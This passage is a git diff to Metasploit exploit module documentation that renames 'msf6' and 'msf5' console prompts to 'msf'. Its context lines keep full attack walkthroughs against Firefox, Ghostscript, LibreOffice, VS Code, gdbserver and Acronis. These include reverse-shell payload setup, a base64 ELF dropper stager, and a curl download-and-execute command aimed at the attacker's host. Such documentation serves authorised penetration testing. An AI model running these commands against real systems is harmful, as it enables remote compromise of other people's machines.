./firefox` ``` -msf6 > use exploit/multi/browser/firefox_jit_use_after_free +msf > use exploit/multi/browser/firefox_jit_use_after_free [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/browser/firefox_jit_use_after_free) > set URIPATH / +msf exploit(multi/browser/firefox_jit_use_after_free) > set URIPATH / URIPATH => / -msf6 exploit(multi/browser/firefox_jit_use_after_free) > set LHOST 192.168.56.1 +msf exploit(multi/browser/firefox_jit_use_after_free) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf6 exploit(multi/browser/firefox_jit_use_after_free) > set SRVHOST 192.168.56.1 +msf exploit(multi/browser/firefox_jit_use_after_free) > set SRVHOST 192.168.56.1 SRVHOST => 192.168.56.1 -msf6 exploit(multi/browser/firefox_jit_use_after_free) > set DEBUG_EXPLOIT true +msf exploit(multi/browser/firefox_jit_use_after_free) > set DEBUG_EXPLOIT true DEBUG_EXPLOIT => true -msf6 exploit(multi/browser/firefox_jit_use_after_free) > exploit +msf exploit(multi/browser/firefox_jit_use_after_free) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(multi/browser/firefox_jit_use_after_free) > +msf exploit(multi/browser/firefox_jit_use_after_free) > [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Using URL: http://192.168.56.1:8080/ [*] Server started. diff --git a/documentation/modules/exploit/multi/browser/firefox_xpi_bootstrapped_addon.md b/documentation/modules/exploit/multi/browser/firefox_xpi_bootstrapped_addon.md index faf376d5eabb5..5a3649452c2ec 100644 --- a/documentation/modules/exploit/multi/browser/firefox_xpi_bootstrapped_addon.md +++ b/documentation/modules/exploit/multi/browser/firefox_xpi_bootstrapped_addon.md @@ -51,16 +51,16 @@ Open Tools -> Options, search for "updates" and select "Never check for updates" Run the module and load the web server URL in Firefox. Install the extension when prompted. ``` -msf6 post(windows/gather/enum_domains) > use exploit/multi/browser/firefox_xpi_bootstrapped_addon +msf post(windows/gather/enum_domains) > use exploit/multi/browser/firefox_xpi_bootstrapped_addon [*] No payload configured, defaulting to generic/shell_reverse_tcp -msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) > run +msf exploit(multi/browser/firefox_xpi_bootstrapped_addon) > run [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.200.130:4444 [*] Using URL: http://192.168.200.130:8080/Oj8qCs [*] Server started. -msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) > +msf exploit(multi/browser/firefox_xpi_bootstrapped_addon) > [*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Redirecting request. [*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Sending HTML response. [*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Sending xpi and waiting for user to click 'accept'... diff --git a/documentation/modules/exploit/multi/browser/msfd_rce_browser.md b/documentation/modules/exploit/multi/browser/msfd_rce_browser.md index b37b55b3ddf06..98bb8158f528b 100644 --- a/documentation/modules/exploit/multi/browser/msfd_rce_browser.md +++ b/documentation/modules/exploit/multi/browser/msfd_rce_browser.md @@ -67,19 +67,19 @@ Options unique for this module is described below. ### Through the victim's browser ``` - msf5 > use exploit/multi/browser/msfd_rce_browser - msf5 exploit(multi/browser/msfd_rce_browser) > set payload ruby/shell_reverse_tcp + msf > use exploit/multi/browser/msfd_rce_browser + msf exploit(multi/browser/msfd_rce_browser) > set payload ruby/shell_reverse_tcp payload => ruby/shell_reverse_tcp - msf5 exploit(multi/browser/msfd_rce_browser) > set lhost 192.168.0.17 + msf exploit(multi/browser/msfd_rce_browser) > set lhost 192.168.0.17 lhost => 192.168.0.17 - msf5 exploit(multi/browser/msfd_rce_browser) > set lport 443 + msf exploit(multi/browser/msfd_rce_browser) > set lport 443 lport => 443 - msf5 exploit(multi/browser/msfd_rce_browser) > exploit + msf exploit(multi/browser/msfd_rce_browser) > exploit [*] Exploit running as background job 0. [-] Handler failed to bind to 192.168.0.17:443:- - [*] Started reverse TCP handler on 0.0.0.0:443 - msf5 exploit(multi/browser/msfd_rce_browser) > [*] Using URL: + msf exploit(multi/browser/msfd_rce_browser) > [*] Using URL: http://0.0.0.0:8080/J5ras6oYftFWW4 [*] Local IP: http://172.17.0.2:8080/J5ras6oYftFWW4 [*] Server started. diff --git a/documentation/modules/exploit/multi/fileformat/archive_tar_arb_file_write.md b/documentation/modules/exploit/multi/fileformat/archive_tar_arb_file_write.md index caef00556f914..c43a9f68d30d8 100644 --- a/documentation/modules/exploit/multi/fileformat/archive_tar_arb_file_write.md +++ b/documentation/modules/exploit/multi/fileformat/archive_tar_arb_file_write.md @@ -46,9 +46,9 @@ created or overwritten with the code for a PHP shell. First create the malicious TAR file and set up the listener: ``` -msf6 > use exploit/multi/fileformat/archive_tar_arb_file_write +msf > use exploit/multi/fileformat/archive_tar_arb_file_write [*] No payload configured, defaulting to php/meterpreter/reverse_tcp -msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show options +msf exploit(multi/fileformat/archive_tar_arb_file_write) > show options Module options (exploit/multi/fileformat/archive_tar_arb_file_write): @@ -75,23 +75,23 @@ Exploit target: 0 Archive_Tar < 1.4.11 -msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > set FILENAME test.tar +msf exploit(multi/fileformat/archive_tar_arb_file_write) > set FILENAME test.tar FILENAME => test.tar -msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > set FILEPATH /tmp/test.php +msf exploit(multi/fileformat/archive_tar_arb_file_write) > set FILEPATH /tmp/test.php FILEPATH => /tmp/test.php -msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > run +msf exploit(multi/fileformat/archive_tar_arb_file_write) > run [*] Writing file: test.tar (3072 bytes) ... [+] test.tar stored at /home/test/.msf4/local/test.tar -msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > use multi/handler +msf exploit(multi/fileformat/archive_tar_arb_file_write) > use multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp +msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp -msf6 exploit(multi/handler) > set LHOST 172.30.86.152 +msf exploit(multi/handler) > set LHOST 172.30.86.152 LHOST => 172.30.86.152 -msf6 exploit(multi/handler) > set LPORT 4444 +msf exploit(multi/handler) > set LPORT 4444 LPORT => 4444 -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.30.86.152:4444 ``` @@ -129,7 +129,7 @@ php /tmp/test.php And the shell will be obtained: ``` -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.30.86.152:4444 [*] Sending stage (39282 bytes) to 172.30.86.152 diff --git a/documentation/modules/exploit/multi/fileformat/evince_cbt_cmd_injection.md b/documentation/modules/exploit/multi/fileformat/evince_cbt_cmd_injection.md index c3fbd3b5316f4..e7b0b70b1de91 100644 --- a/documentation/modules/exploit/multi/fileformat/evince_cbt_cmd_injection.md +++ b/documentation/modules/exploit/multi/fileformat/evince_cbt_cmd_injection.md @@ -43,24 +43,24 @@ ## Scenarios ``` - msf5 > use exploit/multi/fileformat/evince_cbt_cmd_injection - msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > set payload cmd/unix/reverse_bash + msf > use exploit/multi/fileformat/evince_cbt_cmd_injection + msf exploit(multi/fileformat/evince_cbt_cmd_injection) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash - msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > set lhost 172.16.191.188 + msf exploit(multi/fileformat/evince_cbt_cmd_injection) > set lhost 172.16.191.188 lhost => 172.16.191.188 - msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > run + msf exploit(multi/fileformat/evince_cbt_cmd_injection) > run [*] Writing file: msf.cbt (1078272 bytes) ... [+] msf.cbt stored at /root/.msf4/local/msf.cbt - msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > mv /root/.msf4/local/msf.cbt /var/www + msf exploit(multi/fileformat/evince_cbt_cmd_injection) > mv /root/.msf4/local/msf.cbt /var/www [*] exec: mv /root/.msf4/local/msf.cbt /var/www - msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > use exploit/multi/handler - msf5 exploit(multi/handler) > set payload cmd/unix/reverse_bash + msf exploit(multi/fileformat/evince_cbt_cmd_injection) > use exploit/multi/handler + msf exploit(multi/handler) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash - msf5 exploit(multi/handler) > set lhost 172.16.191.188 + msf exploit(multi/handler) > set lhost 172.16.191.188 lhost => 172.16.191.188 - msf5 exploit(multi/handler) > run + msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Command shell session 1 opened (172.16.191.188:4444 -> 172.16.191.160:39362) at 2019-02-03 00:16:59 -0500 diff --git a/documentation/modules/exploit/multi/fileformat/ghostscript_failed_restore.md b/documentation/modules/exploit/multi/fileformat/ghostscript_failed_restore.md index 205229820b684..039338515f7f1 100644 --- a/documentation/modules/exploit/multi/fileformat/ghostscript_failed_restore.md +++ b/documentation/modules/exploit/multi/fileformat/ghostscript_failed_restore.md @@ -43,20 +43,20 @@ Set this to a writable directory without `noexec`. ## Usage ``` -msf5 > use exploit/multi/fileformat/ghostscript_failed_restore -msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set target Linux (Dropper) +msf > use exploit/multi/fileformat/ghostscript_failed_restore +msf exploit(multi/fileformat/ghostscript_failed_restore) > set target Linux (Dropper) target => Linux (Dropper) -msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(multi/fileformat/ghostscript_failed_restore) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set lhost 172.28.128.1 +msf exploit(multi/fileformat/ghostscript_failed_restore) > set lhost 172.28.128.1 lhost => 172.28.128.1 -msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set disablepayloadhandler false +msf exploit(multi/fileformat/ghostscript_failed_restore) > set disablepayloadhandler false disablepayloadhandler => false -msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set wfsdelay 3600 +msf exploit(multi/fileformat/ghostscript_failed_restore) > set wfsdelay 3600 wfsdelay => 3600 -msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set verbose true +msf exploit(multi/fileformat/ghostscript_failed_restore) > set verbose true verbose => true -msf5 exploit(multi/fileformat/ghostscript_failed_restore) > run +msf exploit(multi/fileformat/ghostscript_failed_restore) > run [*] Started reverse TCP handler on 172.28.128.1:4444 [*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/hvQlm.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tgxVT' < '/tmp/hvQlm.b64' ; chmod +x '/tmp/tgxVT' ; '/tmp/tgxVT' ; rm -f '/tmp/tgxVT' ; rm -f '/tmp/hvQlm.b64'"] diff --git a/documentation/modules/exploit/multi/fileformat/ghostscript_format_string_cve_2024_29510.md b/documentation/modules/exploit/multi/fileformat/ghostscript_format_string_cve_2024_29510.md index df8d244abb273..f33d3ee756776 100644 --- a/documentation/modules/exploit/multi/fileformat/ghostscript_format_string_cve_2024_29510.md +++ b/documentation/modules/exploit/multi/fileformat/ghostscript_format_string_cve_2024_29510.md @@ -112,7 +112,7 @@ This option specify the index of this pointer (`gp_file *out`) on the stack. The ### Ghostscript version 10.03.0 Generate the `.eps` files: ``` -msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > exploit verbose=true lhost=192.168.1.113 +msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > exploit verbose=true lhost=192.168.1.113 [*] Command to run on remote host: curl -so ./kmMJykHyqUiQ http://192.168.1.113:8080/QAeBnT-6WHJiW5MJjwMrfA; chmod +x ./kmMJykHyqUiQ; ./kmMJykHyqUiQ & [+] msf.eps stored at /home/n00tmeg/.msf4/local/msf.eps @@ -123,10 +123,10 @@ msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > exploi Start a hander: ``` -msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > use cmd/linux/http/x64/meterpreter_reverse_tcp -msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > set lhost 192.168.1.113 +msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > use cmd/linux/http/x64/meterpreter_reverse_tcp +msf payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > set lhost 192.168.1.113 lhost => 192.168.1.113 -msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > to_handler +msf payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > to_handler [*] Payload Handler Started as Job 0 ``` @@ -137,9 +137,9 @@ Execute Ghostscript directly: Get a Meterpreter session: ``` -msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > [*] Meterpreter session 6 opened (192.168.1.113:4444 -> 192.168.1.113:56786) at 2024-07-16 11:00:59 +0200 +msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > [*] Meterpreter session 6 opened (192.168.1.113:4444 -> 192.168.1.113:56786) at 2024-07-16 11:00:59 +0200 -msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > sessions -1 +msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > sessions -1 [*] Starting interaction with 6... meterpreter > getuid @@ -154,21 +154,21 @@ Meterpreter : x64/linux ### ImageMagick version 7.1.1-34 on Docker ``` -msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > exploit verbose=true lhost=192.168.1.113 index_out_ptr=6 filename=msf6.eps +msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > exploit verbose=true lhost=192.168.1.113 index_out_ptr=6 filename=msf.eps [*] Command to run on remote host: curl -so ./GzRgKQokL http://192.168.1.113:8080/QAeBnT-6WHJiW5MJjwMrfA; chmod +x ./GzRgKQokL; ./GzRgKQokL & -[+] msf6.eps stored at /home/n00tmeg/.msf4/local/msf6.eps +[+] msf.eps stored at /home/n00tmeg/.msf4/local/msf.eps [+] You will need to start a handler for the selected payload first. -[+] Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY msf6.eps -[+] Example usage with ImageMagick: identify msf6.eps +[+] Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY msf.eps +[+] Example usage with ImageMagick: identify msf.eps ``` Start a hander: ``` -msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > use cmd/linux/http/x64/meterpreter_reverse_tcp -msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > set lhost 192.168.1.113 +msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > use cmd/linux/http/x64/meterpreter_reverse_tcp +msf payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > set lhost 192.168.1.113 lhost => 192.168.1.113 -msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > to_handler +msf payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > to_handler [*] Payload Handler Started as Job 0 ``` @@ -176,9 +176,9 @@ Follow the `PHP application using ImageMagick on Docker` installation steps and Get a Meterpreter session: ``` -msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > [*] Meterpreter session 3 opened (192.168.1.113:4444 -> 172.17.0.3:45102) at 2024-07-16 14:46:55 +0200 +msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > [*] Meterpreter session 3 opened (192.168.1.113:4444 -> 172.17.0.3:45102) at 2024-07-16 14:46:55 +0200 -msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > sessions -1 +msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > sessions -1 [*] Starting interaction with 3... meterpreter > getuid diff --git a/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md b/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md index 8ca6938a9e1b3..c4eec90f76ae6 100644 --- a/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md +++ b/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md @@ -43,7 +43,7 @@ resource (gitlens.rb)> set target 1 target => 1 resource (gitlens.rb)> set lhost 192.168.10.147 lhost => 192.168.10.147 -msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit +msf exploit(multi/fileformat/gitlens_local_config_exec) > exploit [*] Started reverse TCP handler on 192.168.10.147:4444 [+] repo.zip stored at /root/.msf4/local/repo.zip @@ -77,7 +77,7 @@ resource (gitlens.rb)> use exploit/multi/fileformat/gitlens_local_config_exec [*] Using configured payload cmd/unix/reverse_bash resource (gitlens.rb)> set lhost 192.168.10.147 lhost => 192.168.10.147 -msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit +msf exploit(multi/fileformat/gitlens_local_config_exec) > exploit [*] Started reverse TCP handler on 192.168.10.147:4444 [+] repo.zip stored at /root/.msf4/local/repo.zip @@ -92,4 +92,4 @@ Unzip the repo, open the folder in Visual Studio Code. When prompted, select "No [*] Command shell session 2 opened (192.168.10.147:4444 -> 192.168.10.147:53612) at 2024-03-19 18:26:06 +0000 id uid=1000(notroot) gid=1000(notroot) groups=1000(notroot),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),119(docker) -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/multi/fileformat/libreoffice_logo_exec.md b/documentation/modules/exploit/multi/fileformat/libreoffice_logo_exec.md index e92fcb7c77d15..bf6e4b05f1239 100644 --- a/documentation/modules/exploit/multi/fileformat/libreoffice_logo_exec.md +++ b/documentation/modules/exploit/multi/fileformat/libreoffice_logo_exec.md @@ -50,7 +50,7 @@ ### LibreOffice 6.2.5 on Windows 10 ``` - msf5 exploit(multi/handler) > run + msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.56.4:4444 [*] Sending stage (53755 bytes) to 192.168.56.3 @@ -66,7 +66,7 @@ ### LibreOffice 6.2.5 on Ubuntu 18.04 ``` - msf5 exploit(multi/handler) > run + msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Sending stage (53755 bytes) to 192.168.37.137 @@ -83,9 +83,9 @@ ### LibreOffice 6.2.5 on macOS 10.13.6 ``` - msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp + msf exploit(multi/handler) > set payload python/meterpreter/reverse_tcp payload => python/meterpreter/reverse_tcp - msf5 exploit(multi/handler) > run + msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.56.4:4444 [*] Sending stage (53755 bytes) to 192.168.56.2 diff --git a/documentation/modules/exploit/multi/fileformat/libreoffice_macro_exec.md b/documentation/modules/exploit/multi/fileformat/libreoffice_macro_exec.md index 8b9ecdcd001ab..4a0df2a020c85 100644 --- a/documentation/modules/exploit/multi/fileformat/libreoffice_macro_exec.md +++ b/documentation/modules/exploit/multi/fileformat/libreoffice_macro_exec.md @@ -36,18 +36,18 @@ ### Tested on LibreOffice 6.1.2.1 running Windows 7 ``` - msf5 > use exploit/multi/fileformat/libreoffice_macro_exec - msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1 + msf > use exploit/multi/fileformat/libreoffice_macro_exec + msf exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run + msf exploit(multi/fileformat/libreoffice_macro_exec) > run [+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt - msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler - msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp + msf exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler + msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp - msf5 exploit(multi/handler) > set lhost 192.168.37.1 + msf exploit(multi/handler) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(multi/handler) > run + msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Sending stage (179779 bytes) to 192.168.37.156 @@ -68,20 +68,20 @@ ### Tested on LibreOffice 6.1.0.1 running Ubuntu 18.04 ``` - msf5 > use exploit/multi/fileformat/libreoffice_macro_exec - msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set target 1 + msf > use exploit/multi/fileformat/libreoffice_macro_exec + msf exploit(multi/fileformat/libreoffice_macro_exec) > set target 1 target => 1 - msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1 + msf exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run + msf exploit(multi/fileformat/libreoffice_macro_exec) > run [+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt - msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler - msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp + msf exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler + msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp - msf5 exploit(multi/handler) > set LHOST 192.168.37.1 + msf exploit(multi/handler) > set LHOST 192.168.37.1 LHOST => 192.168.37.1 - msf5 exploit(multi/handler) > run + msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Sending stage (985320 bytes) to 192.168.37.174 diff --git a/documentation/modules/exploit/multi/fileformat/visual_studio_vsix_exec.md b/documentation/modules/exploit/multi/fileformat/visual_studio_vsix_exec.md index 923a1d2650593..4a9c3029b7abb 100644 --- a/documentation/modules/exploit/multi/fileformat/visual_studio_vsix_exec.md +++ b/documentation/modules/exploit/multi/fileformat/visual_studio_vsix_exec.md @@ -41,13 +41,13 @@ The readme contents for the extension. Defaults to `` ### VSCode 1.87.2 on Ubuntu 22.04 ``` -msf6 > use exploit/multi/fileformat/visual_studio_vsix_exec +msf > use exploit/multi/fileformat/visual_studio_vsix_exec [*] Using configured payload nodejs/shell_reverse_tcp -msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > set lport 5989 +msf exploit(multi/fileformat/visual_studio_vsix_exec) > set lport 5989 lport => 5989 -msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > set lhost 111.111.11.111 +msf exploit(multi/fileformat/visual_studio_vsix_exec) > set lhost 111.111.11.111 lhost => 111.111.11.111 -msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > exploit +msf exploit(multi/fileformat/visual_studio_vsix_exec) > exploit [*] Started reverse TCP handler on 111.111.11.111:5989 [+] extension.vsix stored at /root/.msf4/local/extension.vsix diff --git a/documentation/modules/exploit/multi/gdb/gdb_server_exec.md b/documentation/modules/exploit/multi/gdb/gdb_server_exec.md index 4b4b73e32f16c..5c90a9d311318 100644 --- a/documentation/modules/exploit/multi/gdb/gdb_server_exec.md +++ b/documentation/modules/exploit/multi/gdb/gdb_server_exec.md @@ -33,17 +33,17 @@ gdbserver 0.0.0.0:1234 /bin/true ### gdbserver 10.2 on Ubuntu 20.04 (x86_64) ``` -msf6 > use exploit/multi/gdb/gdb_server_exec +msf > use exploit/multi/gdb/gdb_server_exec [*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp -msf6 exploit(multi/gdb/gdb_server_exec) > set rhosts 192.168.200.135 +msf exploit(multi/gdb/gdb_server_exec) > set rhosts 192.168.200.135 rhosts => 192.168.200.135 -msf6 exploit(multi/gdb/gdb_server_exec) > set rport 1234 +msf exploit(multi/gdb/gdb_server_exec) > set rport 1234 rport => 1234 -msf6 exploit(multi/gdb/gdb_server_exec) > set target x86_64 +msf exploit(multi/gdb/gdb_server_exec) > set target x86_64 target => x86_64 -msf6 exploit(multi/gdb/gdb_server_exec) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(multi/gdb/gdb_server_exec) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/gdb/gdb_server_exec) > run +msf exploit(multi/gdb/gdb_server_exec) > run [*] Started reverse TCP handler on 192.168.200.130:4444 [*] 192.168.200.135:1234 - Performing handshake with gdbserver... diff --git a/documentation/modules/exploit/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.md b/documentation/modules/exploit/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.md index 8d55ed46fa41b..6e19746df1042 100644 --- a/documentation/modules/exploit/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.md +++ b/documentation/modules/exploit/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.md @@ -75,7 +75,7 @@ You can use this file in combination with `jq` for offline queries and processin ## Scenarios ```msf -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > info +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > info Name: Acronis Cyber Protect/Backup remote code execution Module: exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405 @@ -165,17 +165,17 @@ View the full module info with the info -d command. ``` ### Acronis Cyber Backup 12.5 build 14330 VMware appliance - Linux target ```msf -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6 +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6 rhosts => 192.168.201.6 -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0 +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0 target => 0 -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp payload => cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_SRVHOST 192.168.201.8 +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_SRVHOST 192.168.201.8 FETCH_SRVHOST => 192.168.201.8 -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_WRITABLE_DIR /tmp +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_WRITABLE_DIR /tmp FETCH_WRITABLE_DIR => /tmp -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -216,13 +216,13 @@ meterpreter > ``` ### Acronis Cyber Backup 12.5 build 14330 VMware appliance - Windows target ```msf -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 1 +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 1 target => 1 -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set output json +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set output json output => json -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/windows/reverse_powershell +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/windows/reverse_powershell payload => cmd/windows/reverse_powershell -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -309,13 +309,13 @@ C:\Windows\system32> ``` ### Acronis Cyber Backup 15 build 27009 VMware appliance - Linux target ```msf -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6 +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6 rhosts => 192.168.201.6 -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0 +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0 target => 0 -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/unix/reverse_bash +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash -msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit +msf exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit [*] 